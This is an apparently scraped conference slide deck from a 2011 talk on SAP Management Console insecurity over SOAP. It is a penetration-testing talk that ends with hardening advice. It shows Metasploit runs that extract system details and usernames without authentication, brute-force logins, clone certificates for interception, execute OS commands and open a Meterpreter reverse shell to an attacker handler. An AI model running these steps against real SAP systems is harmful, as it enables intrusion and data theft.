SecZone 2011: Scrubbing SAP clean with SOAP

2,315 views

Published on

SecZone 2011 - Cali, Colombia
(29th Nov. 2011)

SAP (in)security:
Scrubbing SAP clean with SOAP

------
Note
------
This is a slightly updated version of my Hashdays 2011 talk.

----------
Abstract:
----------
At the heart of any large enterprise, lies a platform misunderstood and feared by all but the bravest systems administrators. Home to a wealth of information, and key to infinite wisdom. This platform is SAP. For years this system has been amongst the many "red pen" items on penetration tests and audits alike... but no more! We will no longer accept the cries of "Business critical, out-of-scope". The time for SAP has come, the cross-hairs of attackers are firmly focused on the soft underbelly that is ERM, and it's our duty to follow suit. Join me as we take the first steps into exploring SAP, extracting information and popping shells. Leave your Nessus license at the door! It's time to scrub this SAP system clean with SOAP!
----------

Published in: Technology
0 Comments
0 Likes
Statistics
Notes
  • Be the first to comment

  • Be the first to like this

No Downloads
Views
Total views
2,315
On SlideShare
0
From Embeds
0
Number of Embeds
1,075
Actions
Shares
0
Downloads
0
Comments
0
Likes
0
Embeds 0
No embeds

No notes for slide
  • Yeah… I said that!SAP is a perfect goal for attackers. All the companies crown jewels in once place!
  • In 2010 SAP released more than 900 fixes… SAP is a complex product, and complex products always have flaws. Research into coding flaws show 15-50 bugs per 1000 lines of delivered code… not all are security related, but that’s still a lot of bugs!
  • It’s not ALL SAPs fault… complex configurations user error maintaining backwards compatibilitytake your pick. In offering so much SAP are their own worst enemy.
  • If security never see it, how can they secure itMore importantly, if they don‘t understand it, how can they ever hope to secure it!
  • Think aboutTHAT logic for a second!I‘m pretty sure every security professional has heard that at one point or another
  • So what’s this SOAP thing then
  • Not a cleaning product!We‘ll be use it to scrub SAP clean howeverI‘m sure lots of you have heard of Web ServicesSimply XML over HTTP or HTTPSFlexible (can run over SMTP...)SO HOW DOES SOAP FIT INTO OUR SAP TOPIC
  • Not a cleaning product!We‘ll be use it to scrub SAP clean howeverI‘m sure lots of you have heard of Web ServicesSimply XML over HTTP or HTTPSFlexible (can run over SMTP...)SO HOW DOES SOAP FIT INTO OUR SAP TOPIC
  • Yes it’s a sad sad world!SAP MC uses a range of unauthenticated requests, but some of the more fun functions require username/password authentication
  • Lots of cool dataLots of cool functionsLots of fun to be had!
  • There’s pages of this stuff… much too much for a slide… and much too much to make this stuff available for attackers!
  • dbms_typeThe database interface recognizes the type of the database system by the environment variable dbms_type.Possible values: ora, inf, db2, db4, db6, ada, mssOLDER VERSIONS of SAP can include environment variables such as MSSQL_USER
  • Effect of password policies on keyspace reduction openwallDifferent password compliance rules can reduce the overall keyspace considerably!
  • Lots of cool dataLots of cool functionsLots of fun to be had!
  • Lots of cool dataLots of cool functionsLots of fun to be had!
  • Lots of cool dataLots of cool functionsLots of fun to be had!
  • Lots of cool dataLots of cool functionsLots of fun to be had!
  • Lots of cool dataLots of cool functionsLots of fun to be had!
  • Lots of cool dataLots of cool functionsLots of fun to be had!
  • So I scanned a small country!
  • What do we have already- Full server environment Version info SAP SIDDatabase info valid SAP usernames trace and debug logs
  • Wait... SSL will save us!
  • Yep.. It’s a feature remember? But we’ve already covered how we could get that
  • dbms_typeThe database interface recognizes the type of the database system by the environment variable dbms_type.Possible values: ora, inf, db2, db4, db6, ada, mssOLDER VERSIONS of SAP can include environment variables such as MSSQL_USER
  • Yep.. It’s a feature remember? But we’ve already covered how we could get that
  • OSExecute is all well and good...Run a single commandGet the response..
  • Block itFilter itRestrict it to administratorsYES this means internally as well!
  • Block itFilter itRestrict it to administratorsYES this means internally as well!
  • Block itFilter itRestrict it to administratorsYES this means internally as well!
  • Block itFilter itRestrict it to administratorsYES this means internally as well!
  • Block itFilter itRestrict it to administratorsYES this means internally as well!
  • Block itFilter itRestrict it to administratorsYES this means internally as well!
  • Block itFilter itRestrict it to administratorsYES this means internally as well!
  • SecZone 2011: Scrubbing SAP clean with SOAP

    1. 1. SAP (in)securityScrubbing SAP clean with SOAP Chris John Riley
    2. 2. “THE WISEST MAN, IS HE WHO KNOWS, THAT HE KNOWS NOTHING” SOCRATES: APOLOGY, 21D
    3. 3. NOTAN EXPERT!
    4. 4. SPANISH IS NOT MYSTRONGPOINT
    5. 5. NO ME TOQUES AHÍ!
    6. 6. 1) Whats what2) Information is king3) Getting in the middle4) Putting it all together5) Stopping Bob!
    7. 7. WHAT’SWHAT
    8. 8. “…the worlds leading provider ofbusiness software, SAP (which stands for"Systems, Applications, and Products inData Processing") delivers products andservices that help accelerate businessinnovation for our customers.”
    9. 9. Other people describe them as…“…the worlds leading repository ofbusiness critical information, SAP (whichstands for ”Security Aint [our] Problem")delivers products and services that helpattackers gain access to criticalenterprise data.”
    10. 10. Some rights reserved by TrevinC
    11. 11. IS IT REALLY THAT BAD?
    12. 12. Some rights reserved by Telstar Logistics
    13. 13. Some rights reserved by Telstar Logistics
    14. 14. So Many Reasons Vulnerabilties are a part of it!  Every system has it‘s vulnerabilities SAP installations often fall to business  Not an operations problem  Financial data should be handled by the business  Security team never gets close to it!
    15. 15. “YOU CANT TEST THAT, ITS BUSINESS CRITICAL!” UNKNOWN PROJECT MANAGER
    16. 16. You’re getting SOAP all over my SAP! THIS TALK SAP Security Netweaver . SOAP
    17. 17. Some rights reserved by Telstar Logistics
    18. 18. SIMPLE OBJECTACCESS PROTOCOL
    19. 19. WRONG KIND OF SOAP!
    20. 20. SOAP Request Example (1)POST /InStock HTTP/1.1....<?xml version="1.0"?><soap:Envelopexmlns:soap="http://www.w3.org/2001/12/soap-envelope"soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding"><soap:Body>....</soap:Body></soap:Envelope>
    21. 21. SOAP Request Example (1)POST /InStock HTTP/1.1....<?xml version="1.0"?><soap:Envelopexmlns:soap="http://www.w3.org/2001/12/soap-envelope"soap:encodingStyle="http://www.w3.org/2001/12/soap-encoding"><soap:Body>....</soap:Body></soap:Envelope>
    22. 22. SOAP Request Example (2)...<soap:Body xmlns:m="http://test.org/stock"> <m:GetStockPrice> <m:StockName>SAP</m:StockName> </m:GetStockPrice></soap:Body>...
    23. 23. SOAP Request Example (2)...<soap:Body xmlns:m="http://test.org/stock"> <m:GetStockPrice> <m:StockName>SAP</m:StockName> </m:GetStockPrice></soap:Body>...
    24. 24. SOAP Response Example... <m:GetStockPriceResponse> <m:Price>34.5</m:Price> </m:GetStockPriceResponse></soap:Body>...
    25. 25. SOAP Response Example... <m:GetStockPriceResponse> <m:Price>34.5</m:Price> </m:GetStockPriceResponse></soap:Body>...
    26. 26. A LITTLE BIT ABOUT SAPMANAGEMENT CONSOLE
    27. 27. SAP MC Communications Default port 5<instance>13/14  50013 HTTP  50014 HTTPS Can use SSL  If it‘s configured  More on this later!
    28. 28. SAP MC Communications Uses Basic auth for some functions  Yes... It‘s 2011  Yes... Companies still use Basic Auth Most functions don‘t even use that!  Yes... Unauthenticated!
    29. 29. ENABLED BY DEFAULT…
    30. 30. ON ALL SAP SYSTEMS!
    31. 31. SAP MC MMC Snap-in
    32. 32. SAP MC JAVA Applet
    33. 33. INFORMATION IS KING
    34. 34. “If theres one thing SAP MC loves, its giving away information“ Quote by: Me, just now!
    35. 35. Nessus will save us!
    36. 36. Show me the money!
    37. 37. Information is king Version information  Sure, HTTP headers give that!  Nothing new here... mostly Down to the patch-level  Can you say “targeted attack“
    38. 38. Version Informationmsf auxiliary(sap_mgmt_con_version) > show optionsModule options (auxiliary/scanner/sap/sap_mgmt_con_version): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no Use a proxy chain RHOSTS 172.16.15.128 yes The target address range RPORT 50013 yes The target port THREADS 1 yes The number of threads URI / no Path to the SAP MC VHOST no HTTP server virtual host
    39. 39. Version Informationmsf auxiliary(sap_mgmt_con_version) > show optionsModule options (auxiliary/scanner/sap/sap_mgmt_con_version): Name Current Setting Required Description ---- --------------- -------- ----------- Proxies no Use a proxy chain RHOSTS 172.16.15.128 yes The target address range RPORT 50013 yes The target port THREADS 1 yes The number of threads URI / no Path to the SAP MC VHOST no HTTP server virtual host
    40. 40. Version Informationmsf auxiliary(sap_mgmt_con_version) > run[*] [SAP] Connecting to SAP Mgmt Console SOAP Interface[+] [SAP] Version Number Extracted - 172.16.15.128:50013[+] [SAP] Version: 720, patch 70, changelist 1203517, optU, NTintel[+] [SAP] SID: NSP[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed
    41. 41. Version Informationmsf auxiliary(sap_mgmt_con_version) > run[*] [SAP] Connecting to SAP Mgmt Console SOAP Interface[+] [SAP] Version Number Extracted - 172.16.15.128:50013[+] [SAP] Version: 720, patch 70, changelist 1203517, optU, NTintel[+] [SAP] SID: NSP[*] Scanned 1 of 1 hosts (100% complete)[*] Auxiliary module execution completed
    42. 42. Information is king Startup profile  Instance name  SAP System Name  SAP SID  SAP DB Schema  Paths  ....
    43. 43. Startup Profilemsf auxiliary(sap_mgmt_con_startprofile) > run[*] [SAP] Connecting to SAP Mgmt Console SOAP Interface[+] [SAP] Startup Profile Extracted: WINXPSAP- TSTsapmntNSPSYSprofileSTART_DVEBMGS00_WINXPSAP -TST[*] SAPSYSTEMNAME = NSP[*] SAPGLOBALHOST = WINXPSAP-TST[*] SAPSYSTEM = 00[*] INSTANCE_NAME = DVEBMGS00[*] DIR_PROFILE = WINXPSAP-TSTsapmntNSPSYSprofile[*] _PF = $(DIR_PROFILE)NSP_DVEBMGS00_WINXPSAP-TST[*] dbs/ada/schema = SAPNSP
    44. 44. Startup Profilemsf auxiliary(sap_mgmt_con_startprofile) > run[*] [SAP] Connecting to SAP Mgmt Console SOAP Interface[+] [SAP] Startup Profile Extracted: WINXPSAP- TSTsapmntNSPSYSprofileSTART_DVEBMGS00_WINXPSAP -TST[*] SAPSYSTEMNAME = NSP[*] SAPGLOBALHOST = WINXPSAP-TST[*] SAPSYSTEM = 00[*] INSTANCE_NAME = DVEBMGS00[*] DIR_PROFILE = WINXPSAP-TSTsapmntNSPSYSprofile[*] _PF = $(DIR_PROFILE)NSP_DVEBMGS00_WINXPSAP-TST[*] dbs/ada/schema = SAPNSP
    45. 45. Information is king Server / Instance Environment  Computername  OS Service userame  Database Names  Database Type (Oracle, MaxDB, ...)  Full Server Environment Variable list!  Information overload  OMG why!
    46. 46. Environmentmsf auxiliary(sap_mgmt_con_getenv) > run[*] [SAP] Connecting to SAP Mgmt Console SOAP Interface[*] COMPUTERNAME=WINXPSAP-TST[*] ComSpec=C:WINDOWSsystem32cmd.exe[*] DBMS_TYPE=ada[*] FP_NO_HOST_CHECK=NO[*] OS=Windows_NT[*] USERNAME=SAPServiceNSP[*] PSModulePath=C:windowssystem32PowerShell...[*] SAPEXE=E:usrsapNSPSYSexeucNTI386[*] TMP=E:usrsapNSPtmp
    47. 47. Environmentmsf auxiliary(sap_mgmt_con_getenv) > run[*] [SAP] Connecting to SAP Mgmt Console SOAP Interface[*] COMPUTERNAME=WINXPSAP-TST[*] ComSpec=C:WINDOWSsystem32cmd.exe[*] DBMS_TYPE=ada[*] FP_NO_HOST_CHECK=NO[*] OS=Windows_NT Operating System User[*] USERNAME=SAPServiceNSP[*] PSModulePath=C:windowssystem32PowerShell...[*] SAPEXE=E:usrsapNSPSYSexeucNTI386[*] TMP=E:usrsapNSPtmp
    48. 48. Information is king SAP Log/Tracefiles  SAP Startup Logs  Error / Debug Logs  Developer Traces  Security Logs SAP ABAPSysLog  SAP Startup Times  PIDs  Services + Status Info
    49. 49. Log/Trace Filesmsf auxiliary(sap_mgmt_con_listlogfiles) > run[*] [SAP] Connecting to SAP Mgmt Console SOAP Interface Filename Size Timestamp -------- ---- --------- available.log 2268 2011 10 16 12:52:33 dev_cp 4397 2011 04 19 10:30:48 dev_disp 4612 2011 10 14 15:06:14 dev_icm 6594 2011 10 14 15:07:38 sapstart.log 629 2011 10 14 15:06:04 sapstartsrv.log 754 2011 10 16 10:04:36 stderr1 903 2011 10 14 15:06:04
    50. 50. Log/Trace Files<SAPControl:ReadDeveloperTraceResponse><name>E:usrsapNSPDVEBMGS00workdev_w0<name><item>trc file: "dev_w0", trc level: 1, release: "720"</item><item>---------------------------------------------------</item><item>* ACTIVE TRACE LEVEL 1</item><item>M pid 3564</item><item>M DpSysAdmExtCreate: ABAP is active</item><item>M DpShMCreate: allocated sys_adm at 09A40048</item><item>M DpShMCreate: allocated wp_adm at 09A43020</item><item>M DpShMCreate: allocated tm_adm at 09A47E48</item>…
    51. 51. ABAP Log File<SAPControl:ABAPReadSyslogResponse><log><item><Time>2011 10 14 15:06:18</Time><Text>SAP: ICM started on host WINXPSAP-TST (PID: 3536)</Text><Severity>SAPControl-GREEN</Severity><item><Time>2011 10 14 15:06:12</Time><Text>SAP Basis: Active ICU Version 3.4; Compiled With ICU 3.4; Unicode Version 4.1</Text><Severity>SAPControl-GREEN</Severity></item>…
    52. 52. Information is king Extracting data from logfiles  Logfiles include usernames  Scrape for SAP usernames  Instant brute-force user list! Just an example of the data availble
    53. 53. Extract SAP Users[*] [SAP] Connecting to SAP Mgmt Console SOAP Interface[+] [SAP] Users Extracted: 10 entries extracted[+] [SAP] Extracted User: SAPSYS[+] [SAP] Extracted User: TEST1[+] [SAP] Extracted User: TESTDEV[+] [SAP] Extracted User: ADMIN1[+] [SAP] Extracted User: SADM[+] [SAP] Extracted User: TEST2…
    54. 54. Extract SAP Users[*] [SAP] Connecting to SAP Mgmt Console SOAP Interface[+] [SAP] Users Extracted: 10 entries extracted[+] [SAP] Extracted User: SAPSYS SAP USERS[+] [SAP] Extracted User: TEST1[+] [SAP] Extracted User: TESTDEV[+] [SAP] Extracted User: ADMIN1[+] [SAP] Extracted User: SADM[+] [SAP] Extracted User: TEST2…
    55. 55. Information is king Process Parameters  Output of the entire SAP configuration  Password Policies  Setup your Brute-force just right ;)  Hash Types  Still supporting those old 8 char hashes?  Security Audit Log Enabled ?  rsau/enabled (default: 0)  Is anybody watching?
    56. 56. Process Parametersmsf auxiliary(sap_mgmt_con_getprocessparameter) > run[*] [SAP] Connecting to SAP MC on 172.16.15.128:50013[*] [SAP] Attempting to matche (?i-mx:^login/password)[SAP] Process ParametersName Value ------ ----------login/password_charset 1login/password_downwards_compatibility 1login/password_hash_algorithm encoding=RFC2307, algorithm=iSSHA-1, saltsize=96login/password_max_idle_productive 0
    57. 57. Process Parametersmsf auxiliary(sap_mgmt_con_getprocessparameter) > run[*] [SAP] Connecting to SAP MC on 172.16.15.128:50013[*] [SAP] Attempting to matche (?i-mx:^login/password)[SAP] Process ParametersName Value ------ ----------login/password_charset 1login/password_downwards_compatibility 1login/password_hash_algorithm encoding=RFC2307, algorithm=iSSHA-1, saltsize=96login/password_max_idle_productive 0
    58. 58. Process Parameters<SAPControl:GetProcessParameterResponse><parameter><item><name>DIR_AUDIT</name><group>System</group><description>Directory for security audit files</description><unit/><value>E:usrsapNSPDVEBMGS00log</value></item><item><name>login/fails_to_user_lock</name><group>Login</group><description>Number of invalid login attempts until user lock</description><unit/><value> 5 </value></item>…
    59. 59. Process Parameters<SAPControl:GetProcessParameterResponse><parameter><item><name>DIR_AUDIT</name><group>System</group><description>Directory for security audit files</description><unit/><value>E:usrsapNSPDVEBMGS00log</value></item><item><name>login/fails_to_user_lock</name><group>Login</group><description>Number of invalid login attempts until user lock</description><unit/><value> 5 </value></item>…
    60. 60. Information is king Useful Process Parameters  rsau/enabled  login/password_downward_compatibility  login/failed_user_auto_unlock  login/fails_to_user_lock  login/min_password_lng  login/password_charset  .... *Checkout consolut.com for a great list
    61. 61. “I put a whitebox configuration audit in your blackbox penetration test, so you can whitebox SAP while you blackbox it!“ Quote by: Me, just now!
    62. 62. INCASE YOU FORGOT…
    63. 63. ALL THE FUNCTIONS SO FAR AREUNAUTHENTICATED
    64. 64. BUT ITS OK!
    65. 65. YOU HAVE TO BE
    66. 66. INSIDE
    67. 67. THENETWORK…
    68. 68. Right?
    69. 69. Right?
    70. 70. Right?
    71. 71. 2,700 Number of SAP servers2,675 listening on public addresses2,6502,6252,6002,5752,5502,5252,500 Router Gateway SAP MC SAP MC (SSL)
    72. 72. Some rights reserved by Crystl
    73. 73. GETTING INTHE MIDDLE
    74. 74. Basic auth is your friend!
    75. 75. SAP MC authentication
    76. 76. MAN IN THE MIDDLE…
    77. 77. LET ME COUNT THE WAYS…
    78. 78. Getting in the middle Force Authentication  Basic Auth == Clear Text  Credentials FTW! Alter Requests  Do what YOU want Alter Responses
    79. 79. SAP MC authentication
    80. 80. SAP MC authentication
    81. 81. SSL PROTECTION 4 MAJOR OPTIONS
    82. 82. Getting in the middleSelf Signed
    83. 83. Getting in the middleDevice Default  Often the same on EVERY device  Not an option for SAP
    84. 84. Getting in the middleEnterprise CA  You sign your own certs centrally  PKI Infrastructure
    85. 85. Getting in the middleExternally signed  Diginotar to the rescue!  SAP also offer signing services
    86. 86. Getting in the middle Impersonate SSL  There‘s a module for that!  Metasploit (ssl_impersonate.rb)  Creates a fake cert  As close to the original as possible  Useful SE options  Expired yesterday  Add CN names for ease of use
    87. 87. Getting in the middleAs near as darn a clone of the original Fingerprints + Serial Number differ
    88. 88. Getting in the middleAll CN data is 100% cloned… Average users don’t care!
    89. 89. PUTTING IT ALL TOGETHER
    90. 90. OSExecute SAP MC generously offers OSExecute function  Valid username/password req.  That‘s handy!
    91. 91. USERNAME /PASSWORD?
    92. 92. MITM Using the force-auth method Check under the keyboard Post-it notes! Rubber hose method
    93. 93. Brute-Force Metasploit module  Set SAP SID for SAP specific checks Watchout for lockouts!  Denial of Service?
    94. 94. Brute Forcemsf auxiliary(sap_mgmt_con_brute_login) > set SAP_SID NSPmsf auxiliary(sap_mgmt_con_brute_login) > run[*] SAPSID set to NSP - Setting default SAP wordlist[*] Trying username:sapservicensp password:[-] [01/18] - failed to login as sapservicensp password: [*] Trying username:sapservicensp password:sapserviceNSP’[-] [02/18] - failed to login as sapadm password: [*] Trying username:nspadm password:…
    95. 95. OSExecuteauxiliary(sap_..._osexec) > set RHOSTS 172.16.15.128auxiliary(sap_..._osexec) > set USERNAME sapservicenspauxiliary(sap_..._osexec) > set PASSWORD Pr0d@dm1nauxiliary(sap_..._osexec) > set CMD hostnameauxiliary(sap_..._osexec) > run[*] [SAP] Connecting to SAP Mgmt Console SOAP Interface[+] [SAP] Command run as PID: 1240 Command output -------------- WINXPSAP-TST
    96. 96. THANKS, BUTWE WANT FULL ACCESS!
    97. 97. Getting Meterpreter Using tricks built into Metasploit  Encode Payload  Split it up into chucks  Shove it in  Start it up!  Profit
    98. 98. OSExecute Meterpretermsf exploit(sap_mgmt_con_osexec_exploit) > exploit[*] Started reverse handler on 172.16.15.134:4444[*] Command Stager - 7.42% done (7499/101079 bytes)...[*] Command Stager - 100.00% done (101079/101079 bytes)[*] Meterpreter session 1 opened (172.16.15.134:4444 -> 172.16.15.128:1144) at 2011-10-16 14:41:59 +0200meterpreter > getuidServer username: WINXPSAP-TSTSAPServiceNSP
    99. 99. STOPPING BOB!
    100. 100. WHY IS YOUR SAP MC ACCESSIBLE TO THE WORLD!
    101. 101. SLIGHTLY LESSHTTPS== BAD
    102. 102. Fixing the issues SAP Fix  Note 1439348  Issue also discovered by Onapsis  No idea what it says!  SAP restrict ALL fix info to customers only
    103. 103. SAP SECURITYISN’T ALL ABOUT ROLED
    104. 104. INFRASTRUCTURE
    105. 105. DATABASE
    106. 106. WEBAPPLICATIONS
    107. 107. CLIENT-SIDE APPS
    108. 108. SAP IS COMPLEX TEST IT!
    109. 109. Questions ? http://c22.cccontact@c22.cc
    110. 110. Big Thanks The REAL SAP Security Researchers  Onapsis, DSecRG, Raul Siles, CYBSEC SAP PSRT (for emailing me a lot) DirtySec (You know who you are!) MacLemon (for the PPT-fu) ED  For inviting us, even though we cause problems! All the people who helped make this happen
    111. 111. Thanks for coming http://c22.cc contact@c22.cc
    112. 112. Sorry for sucking so bad! http://c22.cc contact@c22.cc

    ×